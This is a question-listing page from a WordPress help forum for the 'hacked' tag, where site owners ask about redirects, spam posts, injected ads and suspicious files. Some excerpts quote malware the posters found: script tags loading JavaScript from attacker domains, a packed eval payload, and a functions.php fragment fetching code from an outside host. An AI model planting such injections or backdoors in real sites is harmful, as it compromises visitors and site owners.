Questions tagged [hacked]

About web sites before and after a security breach. If you need this tag your question is probably off topic.

Filter by
Sorted by
Tagged with
0 votes
0 answers
37 views

wordpress sites get hacked

I have multiple sites on one shared hosting. The hosting provider told me that he deleted files that [were] malicious. After that all php files in wp-content & wp-admin returns 403 error even they ...
ahmed ghaly's user avatar
0 votes
0 answers
24 views

They pass comments, when I have disabled everything related to comments

In my wordpress site I have comments disabled, but even so I am getting comments, I imagine that it is hacking. How can I block, override, disable everything related to comments from within a plugin?
Miguel Angel Salas8's user avatar
1 vote
0 answers
27 views

Return 403 for specific paths in Wordpress

my site has been compromised and now crawlers try to index thousands of pages that no longer exist. I would like to return a 403 for these attempts because the query limit of the hosting has been ...
vendrillo's user avatar
0 votes
0 answers
13 views

My webiste has million of pages with /?=v"ex".html

I checked Google Search console and i found 1.3M pages with URLS/v?="dhshd1".html all the pages are indexed in google and not appearing in dashboard and redircts to a page like my home page. ...
AhmedSobhy's user avatar
0 votes
0 answers
26 views

My website blog section has been replaced with adult blog posts

I encountered a problem in the Blog section. All of my existing blog posts have been replaced with some adult blog articles. I checked for malware but there is no malware as well. If anyone is ...
user2584538's user avatar
0 votes
1 answer
100 views

wp-salt.php and wp-cli.yml File present in public_html folder

Few hours back I was trying to login into my wordpress website, but it gave the error - Incorrect Password. So, I ran a scan on my wordpress website with the command - "wp core verify-checksums&...
user232316's user avatar
0 votes
1 answer
42 views

Wordpress Redirect Hack

I have an issue with one of my websites running on the latest version of Wordpress. When I'm in the back end and try to click a link to navigate to WooCommerce Orders, Pages, or settings for any of my ...
Ainz Loynd's user avatar
0 votes
0 answers
34 views

Strings of malicious code to look for after a hack

It's always a struggle to find which files have been created or compromised after a Wordpress has been hacked, so I've created a PHP script that scans in every files' source code on the serverand ...
rAthus's user avatar
  • 171
0 votes
1 answer
17 views

Wordpress website is redirecting on some different shopping page

we are facing below issues 1 - Our wordpress admin panel is not opening. when tried to open admin panel it redirects to our site homepage 2 - Our site Navigation panel button are also redirecting to ...
Shweta Shinde's user avatar
0 votes
1 answer
43 views

Redirected You too Many Times and Homepage Not Loading

Thanks for the support. The WordPress site apparently was hacked... I did find 2 FTP files that the kacker was trying to use to increase FTP quota in the root folder, which I deleted. I also replaced ...
P. Paul's user avatar
  • 101
0 votes
1 answer
17 views

Website show Google Ads when we have no Google Ads linked to our website

Today we noticed that one of our website has started showing random Google Ads on our website when we have not added any Google Ads to our website. I would appreciate if someone can help in case they ...
Learning's user avatar
  • 101
0 votes
0 answers
31 views

Spam Content Serving from old cached version of site?

I've been doing WP for over a decade now, and have fixed / remediated my share of hacks. However this one really has me stumped.. I have a site running on updated, patched, and pretty darn secure ...
Greg Burkett's user avatar
0 votes
1 answer
128 views

Multiple attempted logins originating from the server IP itself?

I have recently migrated several sites to a new server using easyengine, which created a separate set of docker images for each WP website. Internally on my server, each of these sites gets a private ...
Stephen's user avatar
  • 943
1 vote
0 answers
943 views

sitemap contains weird links and does not contain my pages [closed]

I was about to submit my wordpress auto-generated sitemap to Google Search Console but I realized my sitemap contains weird links and it doesnt contain any of my actual pages. I checked example.com/...
dudi's user avatar
  • 13
0 votes
1 answer
48 views

How to solve wordpress redirection (no malware was found)?

I have a website built on WordPress. The URL ia www.travelmakerismymiddlename.com At some point, the website started redirecting randomly - I cannot tell you which link or page specifically redirects, ...
I have many questions's user avatar
0 votes
1 answer
518 views

WordPress disable direct access of files in WordPress installation path

I want to add a security feature to my WordPress website to stop direct access to files added to the root of WordPress installation, recently I discovered that a malicious plugin added some files to ...
muya.dev's user avatar
  • 125
0 votes
1 answer
292 views

malware undetectable by multiple scans

I would like to inform and request help from the community. What happens is this malware was in the folder / wp-content / uploads / 2020 / Named index.php And I found him in the year 2017 in the ...
PauloBoaventura's user avatar
1 vote
3 answers
1k views

How to mass delete one line from all posts after site hack

My Wordpress site has been hacked and every post has had <script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script> added to the end of each post which I ...
John Maguire's user avatar
2 votes
1 answer
83 views

My WordPress Blog sends malicious traffic to other sites [closed]

I'm running a wordpress blog on a Compute Engine VM on Google Cloud. A few days ago, I received an email from Google telling me that a potential violation of their Acceptable Use Policy has been ...
NickDelta's user avatar
  • 123
2 votes
2 answers
199 views

Hacked website redirect, only on desktop, help with restoring it [closed]

This is my first post, I tried searching for similar problems, didn't find any that would fit my situation. Anyway. Recently my cousins website got hacked, I decided to take a look and try to fix it ...
Shar'Dama Ka's user avatar
0 votes
1 answer
5k views

Am receiving more than thousand mails in single day from '[email protected]' continuously

Am using 'WP Offload SES Lite' Plugin to collect Question & Answer through forms. But yesterday I was receiving thousands of mail in a single day continuously. I think someone tried to hack the ...
saravanan's user avatar
0 votes
1 answer
32 views

Is this a hack? WordPress Usernames of every website we have changed into one single name automatically?

We host a lot of WordPress websites, today we noticed that almost every WordPress website we hosted changed their users' usernames into one single name, not only one user all the users of a website is ...
Muhammad Al-Afazy's user avatar
0 votes
1 answer
5k views

Wordpress Hacked 5.5 admin-ajax.php [closed]

I am using the latest version (5.5) of WordPress themes and plugins. I also have 2 custom-written add-ons. I tried all the protection methods I know of. wp-config.php and wp-admin url and admin nick ...
Tamerlan Memmedov's user avatar
0 votes
3 answers
3k views

How to bulk delete a certain part of all wordpress posts

site been hacked, and all posts been injected a line of js code under the content! <script src='https://js.xxxxxxx.ga/stat.js?n=ns1' type='text/javascript'></script> I have found the ...
Matthew's user avatar
1 vote
2 answers
368 views

Invisible spam post in backend

I do have a problem on my WordPress site. In the frontend there is a spam post (not a comment, a post) visible to everybody. I don't know where it comes from and all malware scans were negative so far....
UserSoUndSo's user avatar
0 votes
2 answers
131 views

How to find exploited wordpress plugin [closed]

Some information: Yesterday I found out that my wordpress page has been 'hacked' (for the lack of a better word). Everyone going to my page was redirected to a http://mywordpresspage.com/NetflixXXX ...
Philipp's user avatar
  • 103
1 vote
0 answers
586 views

Should I prevent access to .htaccess and wp-config.php files?

Someone at stackoverflow suggested I should deny access to the two files by doing below in .htaccess. <files ~ "^.*\.([Hh][Tt][Aa])"> order allow,deny deny from all satisfy all </files&...
cilapo1541's user avatar
0 votes
1 answer
27 views

WordPress Database Re-installed (Hacked)

Over the past 2 days, exactly in the hour of 8 o'clock, my WordPress blog has rendered with one sample post, as if the databases are being reinstalled. The database usually holds around 2-3 years of ...
SK2017's user avatar
  • 101
0 votes
1 answer
36 views

Copy wordpress website pages and content

My Hosting account got hacked and malicious files are being auto generated. I can upload fresh themes and plugins in a new hosting account. What is best way to transfer content without the malicious ...
systemdebt's user avatar
0 votes
1 answer
32 views

Could a user account with a stolen password compromised entire WP site?

Assuming a user with Subscriber role account with a weak password has been hacked. So, can someone use this account to compromise a WP site?
hivolih247's user avatar
0 votes
1 answer
238 views

How to log into WordPress via GET/POST

I have an old WordPress site, which I have no FTP access or anything and in WP-Login.php I'm getting this message. But I remember my login credentials, mail and password. Is there anyway I could ...
vts's user avatar
  • 13
1 vote
1 answer
207 views

How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]

I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue. I create this post for share my tips ...
Sathya's user avatar
  • 21
2 votes
1 answer
216 views

My wordpress site was hacked - is my htaccess file compromised?

My Wordpress site (on a shared server) was compromised. It's full of spam links when I do a google site: check. I removed a re-direct through cpanel so at least now the spam pages do not re-direct ...
Martin B's user avatar
0 votes
0 answers
19 views

What to do about a hacked WordPress website and server? [duplicate]

My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
bmich72's user avatar
  • 101
1 vote
2 answers
1k views

What's the effect if this malware if infected your WP?

Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware ...
jasaweb's user avatar
  • 51
1 vote
0 answers
62 views

Malware script in database post table only? [closed]

How can java script be visible in phpmyadmin posts but not visible within the wordpress environment?? Been struggling to clean a wordpress site after an annoying hack which popsup ads and redirects. ...
speedypancake's user avatar
0 votes
1 answer
41 views

How do I know if my WP Theme is using infamous TimThumb?

Is there a way to know if my current WordPress theme is using the infamous TimThumb plugin?
Riccardo's user avatar
  • 931
0 votes
1 answer
82 views

Subpage is redirecting to spam site

My Wordpress site has recently been hacked and I followed the steps described here to clear it: https://wordpress.org/support/article/faq-my-site-was-hacked/ The whole site redirected to a spam ...
Mango D's user avatar
  • 101
0 votes
1 answer
40 views

Why wordpress is hitting another url

I got a mail from main hosting that your wordpress site is attacking or hitting another website each and everytime it loaded. I have checked all the plugins and code but couldn't find any solution.I ...
user172309's user avatar
0 votes
0 answers
140 views

Javascript Injection on my WordPress Site

My WordPress site is redirecting the user to some ad sites. It has generated some random clicks and each click redirects to the ad site. Also, now my site is labeled as dangerous by google. I have ...
Ifrah's user avatar
  • 11
0 votes
1 answer
37 views

Spam pages hack? [closed]

A few days ago I noticed a few blog posts on my site that were spam and I knew I had been hacked. I did a few things in an attempt to clean the hack (Wordfence deleting unknown files, securing the ...
Aaron Marsden's user avatar
0 votes
1 answer
139 views

how can i find malware code and remove from wordpress site to stop it redirecting to hackers click view pages

how can I find malware code and remove from a WordPress site to stop it redirecting to hackers click view pages
Mark Sampson's user avatar
0 votes
1 answer
39 views

Check for malicious code?

I have searched around and seen 'what to do if your site is hacked', and I'm not (necessarily!) looking for a plug in. The site I look after was hacked a while ago and I think all is well now. I ...
gringogordo's user avatar
0 votes
3 answers
353 views

Why would a hacker add this code to each post, and how to do mass cleanup?

Here is example of code I have seen inserted in two different posts: <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){...
NealWalters's user avatar
1 vote
1 answer
47 views

New user is assigned 2 roles: customer and superadmin

I've a question about user role in WordPress. After new user already registered. They can access with superadmin and customer role. They can access to /wp-admin/, create blog, etc.. For my ...
Seksit Yathakarn's user avatar
0 votes
0 answers
29 views

Help determining if the following are legitimate files

I have installed wordfence and did a scan and I have the following warnings. I am not sure if they are left over from a hacking attack last year that sitelock have not removed or if they are required....
timv's user avatar
  • 109
4 votes
5 answers
7k views

Is this a hacking script in function.php?

I have code like below in neve theme WordPress. I feel suspicious about this code $wp_auth_key='ac15616a33a4bae1388c29de0202c5e1'; if (($tmpcontent = @file_get_contents("http://www.darors.com/...
user avatar
0 votes
1 answer
30 views

Is there a simple way to set wordpress site files back to out of the box?

I have an amateur wordpress site for a club which seems to have been hacked. With some help on here I have undone some of this but I've still got quite a few problems. Mainly I can't get into the ...
gringogordo's user avatar
0 votes
3 answers
3k views

My blog was hacked? WP posting random posts

I have been searching at this site posts about blogs being hacker, but I haven't find something like this. One of our Editor's account has started to publish random posts. Our first thought was his ...
xecollons's user avatar
  • 109
0 votes
1 answer
33 views

Have I been hacked - getting new site setup email for 8 localhost wordpress sites

I've just found some emails in my spam folder saying a new wordpress site has been set up on my local server, for 8 already existing wordpress installs. I'm assuming its been hacked but am not 100%. ...
arthurrandom's user avatar